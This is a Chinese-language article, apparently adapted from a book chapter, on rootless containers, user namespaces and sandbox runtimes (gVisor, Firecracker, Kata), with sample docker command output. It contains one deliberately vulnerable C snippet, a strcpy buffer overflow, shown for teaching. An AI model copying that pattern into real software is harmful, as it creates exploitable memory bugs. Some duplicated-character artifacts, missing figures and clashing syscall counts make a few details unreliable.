# 3. 大大減少了潛在的攻擊面
無根容器的本質是將容器執行時程式的所有者從root使用者變更為普通使用者。這意味著即使攻擊者成功突破容器邊界,也只能獲得一個普通使用者的許可權,而不是主機的root許可權。這大降低了攻擊的嚴重性,因為普通使用者的許可權受到系統的嚴格限制,無法執行許多危險操作。這種設計遵循了最小許可權原則,是提高容器安全性的重要進步。
使用者名稱空間的安全性考量
然而,無根容器也引入了新的安全風險,特別是與使用者名稱空間相關的漏洞:
# 使用者名稱空間的安全風險
# 1. 使用者名稱空間歷來是漏洞的豐富來源
# 2. 與root擁有的守護程式相比,風險評估並不明確
# 3. 任何減少root許可權的措施可能提供更有效的安全邊界
使用者名稱空間是Linux核心中相對較新的功能,旨在提供更細粒度的許可權控制。然而,正如前面分析的CVE漏洞所示,這些功能也帶來了新的攻擊面。在選擇是執行root擁有的守護程式還是使用者名稱空間時,安全專業人士面臨著權衡。雖然從root擁有的Docker中發生的高調突破更多,但這可能是由於其廣泛採用和使用,而不是技術本身的內在風險。玄貓認為,任何減少root許可權的措施都可能提供更有效的安全邊界,因此無根容器仍然是一個值得探索的方向。
使用者識別符號對映:無根容器的關鍵機制
在無根容器中,使用者識別符號(UID)的對映是一個核心概念,它決定了容器內使用者與主機使用者之間的關係。
使用者名稱空間與UID對映
使用者名稱空間允許非root使用者假裝是主機的root使用者:
# 使用者名稱空間中的"假root"使用者
# 1. 可以擁有"假"的UID 0
# 2. 有許可權建立新的名稱空間(掛載、網路、UTS、IPC)
# 3. 可以更改容器的主機名和掛載點
使用者名稱空間的魔力在於它允許在隔離的環境中模擬特權操作,而不會影響主機系統。在容器內部的"假root"使用者(UID 0)可以執行許多通常需要root許可權的操作,如建立新的名稱空間、更改主機名等。這是透過UID對映實作的:容器內的UID 0被對映到主機上的非特權UID。這種機制使得容器內的應用程式可以繼續假設它們擁有root許可權,而實際上它們在主機上是以受限使用者執行的。
無根容器的網路挑戰
無根容器面臨的一個主要挑戰是網路連線:
# 無根容器的網路解決方案
# 1. 主機網路名稱空間的連線只能由主機root建立
# 2. 無根容器使用非特權的slirp4netns網路裝置
# 3. 該裝置由seccomp保護,用於建立虛擬網路裝置
在Linux系統中,建立網路連線到主機網路名稱空間通常需要root許可權。為了在無根容器中解決這個問題,技術社群開發了slirp4netns這樣的工具。它是一個非特權的網路裝置,使用seccomp(安全計算模式)進行保護,可以建立虛擬網路裝置,使容器能夠與外部網路通訊。這種解決方案雖然增加了一些複雜性,但成功地在不需要root許可權的情況下提供了網路功能,這是無根容器技術的重要突破。
無根容器的技術限制與實作挑戰
雖然無根容器提供了重要的安全優勢,但它們也面臨一些技術限制和實作挑戰。
遠端檔案系統的挑戰
無根容器在處理遠端檔案系統時面臨特殊挑戰:
# 遠端檔案系統的問題
# 1. 當遠端系統(如NFS主目錄)不理解主機的使用者名稱空間時
# 2. 容器內的root程式在NFS分享上需要特殊能力存取
# 3. 遠端核心不瞭解該能力並可能拒絕存取
這個問題的本質在於許可權模型的不一致性。當容器內的程式(特別是以root身份執行的程式)嘗試在不支援使用者名稱空間的遠端檔案系統(如NFS)上執行需要特殊能力的操作時,遠端系統的核心會拒絕這些操作,因為它不理解使用者名稱空間的能力模型。這種不相容性限制了無根容器在企業環境中的應用,特別是當這些環境依賴於集中式的NFS儲存時。
安全增強機制的支援差異
不同的無根容器實作在安全增強機制的支援上存在差異:
# 安全機制支援情況
# 1. 無根Podman支援SELinux和動態設定檔案(透過udica)
# 2. 無根Docker尚不支援AppArmor
# 3. 兩種執行時都停用了CRIU(使用者空間中的檢查點/還原)
SELinux和AppArmor是Linux系統中兩種主要的強制存取控制(MAC)機制,它們提供了比傳統的自主存取控制(DAC)更強大的安全保護。無根Podman已經支援SELinux,並透過udica工具提供動態設定檔案支援,這使得它在安全敏感環境中更具優勢。相比之下,無根Docker尚未支援AppArmor,這可能是一些安全關鍵應用選擇Podman的原因。此外,兩種實作都不支援CRIU,這限制了它們在需要應用狀態儲存和還原的場景中的使用。
網路功能的設定需求
無根容器在某些網路功能上需要特殊設定:
# 網路功能設定需求
# 1. 繫結1024以下連線埠需要CAP_NET_BIND_SERVICE能力
# 2. 高UID使用者的ping功能受/proc/sys/net/ipv4/ping_group_range限制
# 3. 不允許主機網路(破壞網路隔離)
# 4. cgroups v2功能僅在systemd下執行時可用
# 5. 不支援cgroup v1
這些網路限制反映了無根容器在保持安全性的同時提供功能性的挑戰。傳統上,繫結低連線埠(1024以下)被視為特權操作,需要root許可權。在無根容器中,這需要特殊的能力設定。同樣,ping工具通常需要特殊許可權,對於高UID使用者,除非在系統設定中明確允許,否則不可用。主機網路模式被停用是為了維護網路隔離,這是容器安全的核心原則。cgroups(控制組)的支援差異反映了無根容器技術仍在發展中,某些功能可能需要特定的系統環境才能正常工作。
Docker與Podman:無根實作的比較
Docker和Podman都提供了無根容器實作,但它們在某些方面存在差異。
共同點與效能考量
# Docker與Podman的共同點
# 1. 兩者效能和功能相似(都使用runc)
# 2. 都提供了無根容器實作
# 3. 都面臨類別似的技術限制
Docker和Podman在底層都使用runc作為容器執行時,這使得它們在效能和核心功能上相當類別似。runc是一個符合OCI(開放容器倡議)規範的容器執行時,它負責實際建立和管理容器。由於分享這一關鍵元件,兩個平台在容器執行效率上沒有顯著差異。兩者都實作了無根容器功能,這反映了行業對提高容器安全性的共同關注。同樣,它們也面臨著類別似的技術限制,特別是在處理需要特權操作的功能時。
網路模型的差異
# 網路模型差異
# 1. Docker有成熟的網路模型,但不支援無根模式下的主機網路
# 2. Podman重用Kubernetes的容器網路介面(CNI)外掛
# 3. Podman提供更大的網路佈署靈活性
網路模型是兩個平台之間最顯著的差異之一。Docker開發了自己的網路模型,多年來已經相當成熟,但在無根模式下不支援主機網路。Podman則採用了與Kubernetes相同的CNI外掛系統,這為使用者提供了更大的靈活性,允許他們選擇和設定各種網路解決方案。這種差異反映了兩個專案的不同設計理念:Docker更注重提供一體化的使用者經驗,而Podman則更注重與更廣泛的容器生態系統的相容性和靈活性。
無根容器的安全邊界評估
無根容器提供了一個重要的安全邊界,但它並不是萬無一失的。
安全優勢與剩餘風險
# 無根容器的安全評估
# 1. 防止攻擊透過許多主機互動升級到root
# 2. 仍然可能從主機讀取某些資料,但對攻擊者的用處有限
# 3. 與主機特權升級點(/proc、主機裝置、核心介面等)的互動仍需root能力
無根容器的主要安全優勢在於它限制了攻擊者在突破容器後能夠獲得的許可權。在傳統的root容器中,一旦攻擊者突破容器,就有可能利用各種主機互動機制升級到主機的root許可權。而在無根容器中,這種升級路徑被大限制,因為容器執行時本身就是以非特權使用者執行的。
然而,無根容器並不能完全防止訊息洩露。攻擊者仍然可能讀取主機上的某些資料,雖然這些資料對他們的用處可能有限。此外,與主機特權升級點(如/proc檔案系統、主機裝置和核心介面)的互動仍然需要root能力,這些仍然是潛在的攻擊目標。
C語言安全問題的持續影響
在所有這些抽象層之下,系統呼叫最終仍由用C語言編寫的軟體處理:
// C語言中常見的記憶體安全問題範例
char buffer[10];
strcpy(buffer, "這個字元串太長,會導致緩衝區溢位");
// 上面的程式碼會導致緩衝區溢位,可能被用於攻擊
C語言是網際網路和許多關鍵系統的基礎,已經使用了數十年。然而,它缺乏記憶體管理機制,導致相同的關鍵漏洞反復出現。當核心、OpenSSL和其他關鍵軟體都是用C語言編寫時,我們希望將所有內容盡可能遠離受信任的核心空間。
上面的範例展示了C語言中常見的緩衝區溢位問題。由於C語言不會自動檢查陣列界限,當程式嘗試將一個長字元串複製到小緩衝區時,會導致溢位,覆寫相鄰的記憶體區域。這類別問題是許多安全漏洞的根源,包括遠端式碼執行等嚴重威脅。
根據Whitesource的研究,C語言在過去10年中佔所有報告漏洞的47%。這可能主要是由於其廣泛使用和長壽命,但也突顯了其固有風險。
容器技術
雖然存在"精簡"核心(如unikernel和rump核心),但許多傳統和遺留應用程式可以移植到容器執行時而無需程式碼修改。
容器化與替代技術的權衡
# 容器化與替代技術比較
# 1. 將應用移植到unikernel需要重新編碼適應新的精簡核心
# 2. 容器化應用通常是無摩擦的開發者體驗
# 3. 這種便利性是容器成功的重要因素
容器技術的成功很大程度上歸功於其低摩擦的開發者體驗。開發者可以將現有應用程式容器化,而無需進行大量程式碼修改。相比之下,將應用程式移植到unikernel等替代技術需要更多的工作,因為開發者需要適應新的精簡核心API和環境限制。
這種便利性與安全性之間的權衡是技術選擇中的常見考量。容器提供了一個中間地帶:比傳統佈署更安全、更輕量,但比某些替代技術(如unikernel)提供更少的隔離。對於大多數應用程式和團隊來說,容器化提供了安全性和便利性之間的良好平衡,這解釋了為什麼它在過去十年中獲得了如此廣泛的採用。
沙盒化:下一代容器安全的探索
如果一個程式能夠利用核心,它就能夠接管核心執行的系統。這是攻擊者會嘗試利用的風險,因此雲提供商和硬體供應商一直在開拓不同的方法,以擺脫傳統的核心依賴。
沙盒化技術的演進
沙盒化代表了容器安全的下一個前沿。它提供了比傳統容器更強的隔離保證,特別是在防止核心級別漏洞利用方面。雲提供商和硬體廠商正在開發各種沙盒技術,如gVisor、Kata Containers和Firecracker等,這些技術透過增加額外的隔離層來增強容器安全性。
玄貓認為,隨著容器技術的成熟和企業對安全性要求的提高,沙盒化將成為容器佈署的重要補充。特別是在多租戶環境或處理敏感資料的應用中,沙盒化提供的額外安全保證將變得越來越重要。
容器安全的多層防禦策略
面對容器安全的複雜挑戰,採用多層防禦策略是最佳實踐。這包括:
- 使用無根容器減少許可權提升風險
- 實施強制存取控制機制(如SELinux或AppArmor)
- 在必要時利用沙盒技術提供額外隔離
- 保持容器映像和基礎設施的最新安全更新
- 實施網路政策限制容器間通訊
- 使用漏洞掃描工具檢查容器映像
每一層防禦都增加了攻擊者必須突破的障礙,從而提高了整體安全態勢。沒有單一的安全措施能夠提供完美的保護,但透過組合多種技術,可以大降低成功攻擊的可能性。
容器技術的安全性是一個不斷發展的領域。透過瞭解潛在的漏洞、實施最佳實踐並保持警惕,組織可以安全地享受容器技術帶來的敏捷性和效率優勢,同時將風險降至最低。無根容器是這一旅程中的重要一步,雖然它不是完美的解決方案,但它代表了朝著更安全的容器環境邁出的重要一步。
容器隔離與沙箱技術:安全性與效能的平衡藝術
Linux容器技術為我們提供了輕量級的隔離機制,它允許工作負載直接使用核心API,將抽象層次降到最低。這種設計讓容器啟動迅速與資源消耗低,但在某些高安全性需求的場景下,純容器技術可能無法提供足夠的隔離保障。這就是沙箱技術出現的原因—它們採用多種不同的方法,通常結合容器技術,為特定使用場景提供更強大的安全隔離。
在探討沙箱技術前,我們需要理解傳統虛擬化技術的基礎。Linux的核心虛擬機器(KVM)是一個允許核心以巢狀方式執行自身作為虛擬機器監控器的模組。它利用處理器的硬體虛擬化指令,讓每個「客體」在虛擬機器中執行完整的Linux或Windows作業系統,並擁有私有的虛擬化硬體。這與容器的關鍵區別在於:虛擬機器中的客體程式執行在自己的核心上,而容器程式總是分享主機核心。
沙箱技術:虛擬化與容器隔離的最佳結合
現代沙箱技術結合了虛擬化和容器隔離的優勢,為特定使用場景進行了最佳化。當我研究這些技術時,特別關注了兩個代表性專案:gVisor和Firecracker。這兩個專案分別用Go語言和Rust語言實作,它們都根據一個核心理念:使用靜態型別的系統呼叫代理(在工作負載/客體程式和主機核心之間)比直接使用Linux核心更安全,特別是對於不受信任的工作負載。而與,它們設計的目標是確保這種額外的安全層不會顯著影響效能。
gVisor的核心架構
gVisor啟動一個KVM或以ptrace模式執行(使用除錯ptrace系統呼叫來監控和控制其客體),並在其中啟動一個使用者空間核心。這個使用者空間核心透過一個名為「哨兵」(sentry)的程式將系統呼叫代理到主機。這個受信任的程式重新實作了237個Linux系統呼叫,並且只需要53個主機系統呼叫就能執行。它透過seccomp限制為僅使用這些系統呼叫。
此外,gVisor還啟動了一個名為Gofer的配套「檔案系統互動」側程式,以防止被入侵的哨兵程式與主機檔案系統互動。最後,它還實作了自己的使用者空間網路堆積積疊,以隔離工作負載免受Linux TCP/IP堆積積疊中可能存在的漏洞影響。
Firecracker的精簡設計
Firecracker雖然也使用KVM,但它啟動的是一個精簡的裝置模擬器,而不是像傳統Linux虛擬機器那樣實作重量級的QEMU程式來模擬裝置。這種設計減少了主機的攻擊面,並移除了不必要的程式碼,Firecracker本身僅需36個系統呼叫就能執行。
傳統KVM/QEMU虛擬機器
在隔離光譜的另一端,傳統的KVM/QEMU虛擬機器提供了硬體模擬,因此需要客體核心和完整的裝置模擬,這增加了啟動時間和記憶體佔用。
隔離光譜:從容器到完全虛擬化
虛擬化透過CPU整合提供更好的硬體隔離,但由於客體和底層主機之間的抽象層,啟動和執行速度較慢。容器則輕量與對大多數工作負載來說足夠安全。它們在全球各地的跨國組織的生產環境中執行。但高敏感度的工作負載和資料需要更強的隔離。
在評估工作負載風險時,我發現可以透過以下問題進行分類別:
- 這個應用程式是否存取敏感或高價值資產?
- 這個應用程式是否能接收不受信任的流量或輸入?
- 這個應用程式之前是否出現過漏洞或錯誤?
如果上述任何一個問題的答案是肯定的,那麼可能需要考慮下一代沙箱技術來進一步隔離工作負載。
gVisor、Firecracker和Kata Containers採用不同的方法實作虛擬機器隔離,同時都致力於挑戰人們對虛擬機器啟動時間慢和記憶體開銷高的傳統認知。
值得一提的是,Kata Containers是一個容器執行時,它會啟動一個虛擬機器並在其中執行容器。它具有廣泛的相容性,並且可以在客體中執行Firecracker。
沙箱技術特性比較
以下是這些沙箱技術及其主要特性的比較:
技術 | 支援的容器平台 | 專用客體核心 |
---|---|---|
gVisor | Docker, K8s | 是 |
Firecracker | Docker | 是 |
Kata | Docker, K8s | 是 |
每個沙箱都結合了虛擬機器和容器技術:某種虛擬機器監控程式、虛擬機器內的Linux核心、執行程式的Linux使用者空間,以及某種根據核心的隔離(即容器式的名稱空間、cgroups或seccomp),這些隔離機制可能在虛擬機器內、在虛擬機器監控器周圍,或兩者的某種組合。
探討gVisor沙箱技術
Google的gVisor最初是為了讓不受信任的客戶提供的工作負載能夠在AppEngine上執行於Borg(Google的內部協調器,也是Kubernetes的前身)而構建的。現在它保護Google Cloud產品:App Engine標準環境、Cloud Functions、Cloud ML Engine和Cloud Run,並且已被修改為可在GKE中執行。在本章討論的沙箱技術中,它擁有最佳的Docker和Kubernetes整合能力。
實際操作gVisor
要執行這些範例,必須在主機或工作節點上安裝gVisor執行時二進位檔案。Docker支援可插拔的容器執行時,只需簡單的docker run -it --runtime=runsc
命令即可啟動一個gVisor沙箱化的OCI容器。
讓我們看純gVisor容器中的/proc
目錄內容,並且標準runc進行比較:
user@host:~ [0]$ docker run -it --runtime=runsc sublimino/hack \
ls -lasp /proc/1
total 0
0 dr-xr-xr-x 1 root root 0 May 23 16:22 ./
0 dr-xr-xr-x 2 root root 0 May 23 16:22 ../
0 -r--r--r-- 0 root root 0 May 23 16:22 auxv
0 -r--r--r-- 0 root root 0 May 23 16:22 cmdline
0 -r--r--r-- 0 root root 0 May 23 16:22 comm
0 lrwxrwxrwx 0 root root 0 May 23 16:22 cwd -> /root
0 -r--r--r-- 0 root root 0 May 23 16:22 environ
0 lrwxrwxrwx 0 root root 0 May 23 16:22 exe -> /usr/bin/coreutils
0 dr-x------ 1 root root 0 May 23 16:22 fd/
0 dr-x------ 1 root root 0 May 23 16:22 fdinfo/
0 -rw-r--r-- 0 root root 0 May 23 16:22 gid_map
0 -r--r--r-- 0 root root 0 May 23 16:22 io
0 -r--r--r-- 0 root root 0 May 23 16:22 maps
0 -r-------- 0 root root 0 May 23 16:22 mem
0 -r--r--r-- 0 root root 0 May 23 16:22 mountinfo
0 -r--r--r-- 0 root root 0 May 23 16:22 mounts
0 dr-xr-xr-x 1 root root 0 May 23 16:22 net/
0 dr-x--x--x 1 root root 0 May 23 16:22 ns/
0 -r--r--r-- 0 root root 0 May 23 16:22 oom_score
0 -rw-r--r-- 0 root root 0 May 23 16:22 oom_score_adj
0 -r--r--r-- 0 root root 0 May 23 16:22 smaps
0 -r--r--r-- 0 root root 0 May 23 16:22 stat
0 -r--r--r-- 0 root root 0 May 23 16:22 statm
0 -r--r--r-- 0 root root 0 May 23 16:22 status
0 dr-xr-xr-x 3 root root 0 May 23 16:22 task/
0 -rw-r--r-- 0 root root 0 May 23 16:22 uid_map
從上面的輸出可以看出,gVisor容器中的/proc
目錄內容相對精簡。這是因為gVisor的哨兵程式對Linux系統呼叫介面進行了重新實作,並提供了一個「遮罩」檢視的/proc
和/dev
虛擬檔案系統。從安全形度來看,這是非常重要的設計,因為這些檔案系統歷來會透過分享主機訊息(如記憶體、裝置、程式等)而洩露容器抽象層,所以是特別關注的區域。
從這個目錄中移除特殊檔案可以防止惡意程式存取底層主機核心中的相關功能。
gVisor與標準容器的區別
gVisor容器中的/proc
條目比runc容器中少很多,我們可以透過diff命令來檢視差異:
user@host:~ [0]$ diff -u \
<(docker run -t sublimino/hack ls -1 /proc/1) \
<(docker run -t --runtime=runsc sublimino/hack ls -1 /proc/1)
-arch_status
-attr
-autogroup
auxv
-cgroup
-clear_refs
cmdline
comm
-coredump_filter
-cpu_resctrl_groups
-cpuset
cwd
environ
exe
@@ -16,39 +8,17 @@
fdinfo
gid_map
io
-limits
-loginuid
-map_files
maps
mem
mountinfo
mounts
-mountstats
net
ns
-numa_maps
-oom_adj
oom_score
oom_score_adj
-pagemap
-patch_state
-personality
-projid_map
-root
-sched
-schedstat
-sessionid
-setgroups
smaps
-smaps_rollup
-stack
stat
statm
status
-syscall
task
-timens_offsets
-timers
-timerslack_ns
uid_map
-wchan
這個差異比較清晰地展示了gVisor如何限制容器內程式對系統訊息的存取。gVisor的哨兵程式模擬Linux系統呼叫介面,重新實作了Linux 5.3.11中約350個可能的系統呼叫中的235個以上。這種設計大減少了容器可能利用的攻擊面,因為許多潛在的漏洞利用路徑已被切斷。
例如,移除了cgroup
、limits
、loginuid
、sched
等檔案,防止容器內程式取得主機系統的資源分配、排程策略等敏感訊息。這種設計理念體現了「最小許可權原則」,即只提供容器執行所必需的功能,而隱藏其他可能被利用的系統介面。
裝置隔離比較
讓我們看gVisor和runc在/dev
下的系統裝置差異:
user@host:~ [0]$ diff -u \
<(docker run -t sublimino/hack ls -1p /dev) \
<(docker run -t --runtime=runsc sublimino/hack ls -1p /dev)
-console
-core
fd
full
mqueue/
+net/
null
ptmx
pts/
從裝置隔離的比較中可以看出,gVisor的runsc執行時移除了console
和core
裝置,但增加了/dev/net/tun
裝置(在net/
目錄下)用於其netstack網路堆積積疊,該堆積積疊也在哨兵程式內執行。
這種設計非常巧妙,因為它提供了靈活的網路設定選項:
- Netstack可以被繞過以直接存取主機網路(以犧牲一些隔離為代價)
- 也可以完全停用主機網路,實作完全主機隔離的網路(取決於CNI或其他網路設定)
這種設計允許根據安全需求和效能考量來調整網路隔離級別,而不必重新設計整個容器執行時。
沙箱技術的安全性與效能平衡
在研究這些沙箱技術的過程中,我發現它們都在試圖解決同一個根本問題:如何在保持容器輕量級優勢的同時提供更強的安全隔離?這個問題的核心在於安全性和效能之間的權衡。
傳統虛擬機器提供了強大的隔離,但啟動時間慢、資源消耗大;普通容器啟動迅速、資源佔用小,但隔離性相對較弱。gVisor、Firecracker和Kata Containers等現代沙箱技術則嘗試在這兩個極端之間找到平衡點。
當我們選擇適合的隔離技術時,關鍵在於評估工作負載的風險級別。對於處理敏感資料或接收不受信任輸入的應用,增強的隔離層是必要的;而對於可信的內部應用,標準容器可能已經足夠。
gVisor的特點是它重新實作了大部分Linux系統呼叫,提供了一個「過濾層」來保護主機核心。這種方法的優勢在於它可以攔截和控制所有系統呼叫,但代價是可能影響效能,特別是對於I/O密集型工作負載。
Firecracker則採用了更輕量級的虛擬機器監控器,專注於快速啟動時間和低記憶體佔用,特別適合無伺服器計算場景。它的設計理念是「只做必要的事」,移除了所有不必要的裝置模擬和功能。
Kata Containers則提供了最接近傳統虛擬機器的體驗,但透過容器介面暴露,使其能夠無縫整合到現有的容器生態系統中。
這些技術的出現和發展,反映了雲原生時代對安全與效能平衡的不斷追求。隨著工作負載越來越多地轉向雲環境,以及越來越多的多租戶場景出現,這種平衡變得尤為重要。
在實際應用中,我通常會根據工作負載的特性和安全需求來選擇適當的隔離技術。例如,對於處理使用者上載內容的服務,我會考慮使用gVisor;而對於需要快速擴充套件的無伺服器函式,Firecracker可能是更好的選擇。
這些沙箱技術的發展也反映了安全思維的演進:從邊界防護轉向深度防禦,從單一隔離層轉向多層次安全架構。在現代雲原生環境中,安全不再是事後考慮,而是設計之初就需要融入的核心元素。
容器沙箱技術為我們提供了更多選擇,使我們能夠根據不同的安全需求和效能要求,為工作負載選擇最適合的執行環境。這種靈活性是雲原生時代安全架構的重要特徵,也是應對日益複雜的安全挑戰的必要工具。
在容器技術快速發展的今天,瞭解這些沙箱技術的工作原理、優勢和侷限性,對於設計安全可靠的容器化應用至關重要。不同的隔離技術提供了不同級別的安全保障和效能特性,選擇合適的技術需要全面考量應用的需求和風險狀況。
gVisor的自我揭露:沙盒環境下的獨特徵
在探討容器沙盒技術時,gVisor提供了一個有趣的特點:它會在啟動時明確標識自己。這種自我揭露為我們提供了觀察沙盒環境的獨特視角。使用gVisor執行時執行容器並檢視系統訊息時,會看到一系列幽默的啟動訊息:
$ docker run --runtime=runsc sublimino/hack dmesg
[ 0.000000] Starting gVisor...
[ 0.340005] Feeding the init monster...
[ 0.539162] Committing treasure map to memory...
[ 0.688276] Searching for socket adapter...
[ 0.759369] Checking naughty and nice process list...
[ 0.901809] Rewriting operating system in Javascript...
[ 1.384894] Daemonizing children...
[ 1.439736] Granting licence to kill(2)...
[ 1.794506] Creating process schedule...
[ 1.917512] Creating bureaucratic processes...
[ 2.083647] Checking naughty and nice process list...
[ 2.131183] Ready!
啟動時間與訊息特性
值得注意的是,這些訊息並不反映容器的實際啟動時間,而與這些幽默的訊息是隨機產生的。在實際佈署環境中,不應依賴這些訊息進行自動化操作。透過計時測試,我們可以看到容器啟動速度實際上比訊息顯示的要快:
$ time docker run --runtime=runsc sublimino/hack dmesg
[ 0.000000] Starting gVisor...
[ 0.599179] Mounting deweydecimalfs...
[ 0.764608] Consulting tar man page...
[ 0.821558] Verifying that no non-zero bytes made their way into /dev/zero...
[ 0.892079] Synthesizing system calls...
[ 1.381226] Preparing for the zombie uprising...
[ 1.521717] Adversarially training Redcode AI...
[ 1.717601] Conjuring /dev/null black hole...
[ 2.161358] Accelerating teletypewriter to 9600 baud...
[ 2.423051] Checking naughty and nice process list...
[ 2.437441] Generating random numbers by fair dice roll...
[ 2.855270] Ready!
real 0m0.852s
user 0m0.021s
sys 0m0.016s
這裡看到的是,雖然輸出顯示啟動過程持續了將近3秒,但實際的執行時間僅為0.852秒。這種差異揭示了gVisor的一個特性:它的啟動訊息主要是為了提供識別和娛樂性,而非精確的診斷資訊。
gVisor的架構與系統呼叫攔截機制
在沙盒環境中執行的應用程式,除非特別檢查環境特徵,否則不會察覺自己正在沙盒中執行。應用程式發出與正常Linux核心相同的系統呼叫,但gVisor的Sentry程式會攔截這些系統呼叫。
gVisor的核心元件
gVisor的設計核心在於隔離應用程式與主機核心的直接互動。下圖展示了gVisor容器元件和許可權邊界:
Sentry防止應用程式直接與主機核心互動,並擁有限制其可能的主機系統呼叫的seccomp設定檔案。這有助於防止在租戶突破Sentry並嘗試攻擊主機核心時的許可權提升。
使用者空間核心的挑戰
在使用者空間實作核心功能是一項艱鉅的任務,與無法涵蓋所有系統呼叫。這意味著某些應用程式無法在gVisor中執行。不過從實際經驗來看,這種情況並不常見,GCP上有數百萬工作負載正在gVisor下執行。
Sentry有一個名為Gofer的輔助程式,專門處理磁碟和裝置,這些歷來是VM常見的攻擊向量。分離這些職責可以增強抵抗入侵的能力;如果Sentry存在可被利用的漏洞,攻擊者也無法直接攻擊主機的裝置,因為所有互動都透過Gofer代理。
這種架構設計體現了深度防禦的安全理念。透過將系統功能分層並設定多重邊界,即使一層被突破,攻擊者仍需面對其他防線。Gofer的存在不僅是功能分離,更是安全設計中的一個關鍵環節,為整個系統提供了額外的保護層。
Go語言的安全優勢與挑戰
gVisor選擇使用Go語言開發,以避免可能困擾核心的安全陷阱:
- Go是強型別語言
- 內建邊界檢查
- 無未初始化變數
- 無釋放後使用(use-after-free)錯誤
- 無堆積積疊溢位錯誤
- 內建競爭檢測器
然而,使用Go也帶來了一些挑戰,執行時通常會引入一些效能開銷。這導致應用程式相容性降低和系統呼叫的高開銷。當然,並非所有應用程式都會頻繁進行系統呼叫,因此這取決於具體使用情境。
gVisor的系統呼叫攔截與處理機制
平台系統呼叫切換器
應用程式的系統呼叫透過平台系統呼叫切換器(Platform Syscall Switcher)重定向到Sentry。當應用程式嘗試向核心發出系統呼叫時,切換器會攔截這些呼叫。然後Sentry為容器化的程式向主機發出所需的系統呼叫,如下圖所示:
這種代理機制防止應用程式直接控制系統呼叫,為主機核心提供了額外的保護層。
Sentry的工作原理
Sentry在迴圈中等待應用程式產生系統呼叫,如下圖所示:
它使用ptrace捕捉系統呼叫,處理它,然後向程式回傳回應(通常無需向主機發出預期的系統呼叫)。這種簡單模型保護底層核心免受容器內程式的直接互動影響。
Sentry的工作模式類別似於一個中間人,它截獲所有應用程式想要傳送給核心的請求,自己處理這些請求或決定哪些可以轉發給真正的核心。這種設計使得容器應用程式實際上是在與Sentry對話,而非直接與主機核心通訊,從而建立了一道安全屏障。
系統呼叫層次結構
如下圖所示,gVisor限制了底層主機核心的可利用介面僅為68個系統呼叫,而容器化的應用程式程式則認為它可以存取所有約350個核心呼叫。
這種系統呼叫的縮減是安全設計的核心。透過限制容器能夠實際接觸到的主機系統呼叫數量,gVisor大幅降低了攻擊面。這68個系統呼叫經過精心選擇,足以支援基本功能,同時最小化潛在的安全風險。
平台系統呼叫切換器的模式
gVisor的系統呼叫攔截器有兩種模式:ptrace和KVM。ptrace(“程式跟蹤”)系統呼叫提供了一種機制,使父程式能夠觀察和修改另一個程式的行為。
PTRACE_SYSEMU強制被跟蹤的程式在進入下一個系統呼叫時停止,gVisor能夠回應它或將請求代理到主機核心,如果需要I/O,則透過Gofer進行。
Firecracker:輕量級虛擬機器監視器
Firecracker是一個虛擬機器監視器(VMM),它使用KVM為客戶機啟動專用VM。與KVM傳統的裝置模擬配對QEMU不同,Firecracker實作了自己的記憶體管理和裝置模擬。
Firecracker的簡化設計
Firecracker具有以下特點:
- 無BIOS(而是實作Linux啟動協定)
- 無PCI支援
- 簡化的虛擬化裝置:
- 單一網路裝置
- 塊I/O裝置
- 計時器、時鐘
- 序列控制檯
- 只模擬Ctrl-Alt-Del重置VM的鍵盤裝置
Firecracker的設計哲學是極簡主義—只提供必要的功能,剔除所有不必要的元件。這不僅使其啟動更快、資源消耗更少,還顯著降低了潛在的攻擊面。透過去除傳統虛擬機器中的許多複雜元件(如BIOS和PCI支援),Firecracker提供了一個更安全、更輕量的虛擬化環境。
Firecracker的安全架構
啟動客戶虛擬機器的Firecracker VMM程式由一個稱為jailer的程式啟動。jailer設定VMM沙盒的安全設定(GID和UID分配、網路名稱空間、建立chroot、建立cgroups),然後終止並將控制權傳遞給Firecracker,在那裡seccomp圍繞它啟動的KVM客戶核心和使用者空間強制執行。
與gVisor使用第二個程式進行I/O不同,Firecracker使用KVM的virtio驅動程式從客戶的Firecracker程式透過VMM代理到主機核心,如下圖所示。當Firecracker VM映像啟動時,它在客戶核心中啟動到保護模式,從不在其真真真真實模式下執行。
Firecracker的安全模型依賴於多層防護。jailer程式首先設定基本的安全邊界(使用者/組隔離、名稱空間等),然後將控制權交給Firecracker VMM。這種設計確保即使VMM被攻破,攻擊者仍受到jailer設定的限制。而virtio驅動的使用則提供了高效的I/O路徑,同時保持了安全隔離。
Firecracker與容器生態系統的整合
Firecracker與Kubernetes和OCI相容,使用firecracker-containerd shim。一旦啟動,Firecracker呼叫的主機核心程式碼比傳統的LXC或gVisor少得多,儘管它們在啟動沙盒時都接觸了類別似數量的核心程式碼。
Firecracker的效能改進來自:
- 隔離的記憶體堆積積堆疊
- 懶惰地將資料重新整理到頁面快取而不是磁碟,以提高檔案系統效能
它支援任意Linux二進位檔案,但不支援通用Linux核心。Firecracker最初是為AWS的Lambda服務建立的,從Google的ChromeOS VMM,crosvm分支而來:
crosvm的獨特之處在於專注於程式設計語言內的安全性,以及虛擬裝置周圍的沙盒,以防止在裝置中出現漏洞時對核心的攻擊。
—Chrome OS虛擬機器監視器
Firecracker選擇Rust作為實作語言不是偶然的。Rust的記憶體安全特性為VMM提供了額外的保護層,減少了常見的記憶體相關漏洞。這與crosvm的安全理念一脈相承,都強調透過程式設計語言的安全特性和隔離設計來提升整體安全性。
Firecracker是一個靜態連結的Rust二進位檔案,相容Kata Containers、Weave Ignite、firekube和firecracker-containerd。它提供軟分配(直到實際使用才分配記憶體),以實作更積極的"裝箱”,從而提高資源利用率。
Kata Containers:容器引擎的輕量級虛擬機器
Kata Containers由包含容器引擎的輕量級VM組成,高度最佳化用於執行容器。它們也是最古老、最成熟的近期沙盒技術。相容性廣泛,支援大多數容器協調器。
Kata Containers的架構與發展
Kata Containers從Intel Clear Containers和Hyper.sh RunV的組閤中發展而來,它用專用的KVM虛擬機器和可插拔後端的裝置模擬包裝容器:QEMU、QEMU-lite、NEMU(自定義精簡版QEMU)或Firecracker。它是一個OCI執行時,因此支援Kubernetes。
Kata Containers代表了一種融合方法,結合了容器的輕量級和虛擬機器的安全隔離。其架構允許使用不同的VMM後端,提供了極大的靈活性,可以根據不同的需求和環境選擇最適合的虛擬化技術。這種設計使Kata Containers能夠在各種環境中提供一致的安全模型,同時保持與現有容器生態系統的相容性。
Kata Containers執行時為每個容器在客戶Linux核心上啟動。每個Linux系統都在自己的硬體隔離虛擬機器上執行,提供了比傳統容器更強的隔離保證。
沙盒技術的比較與選擇考量
在評估這些容器沙盒技術時,我發現需要從多個維度進行考量:
安全隔離程度
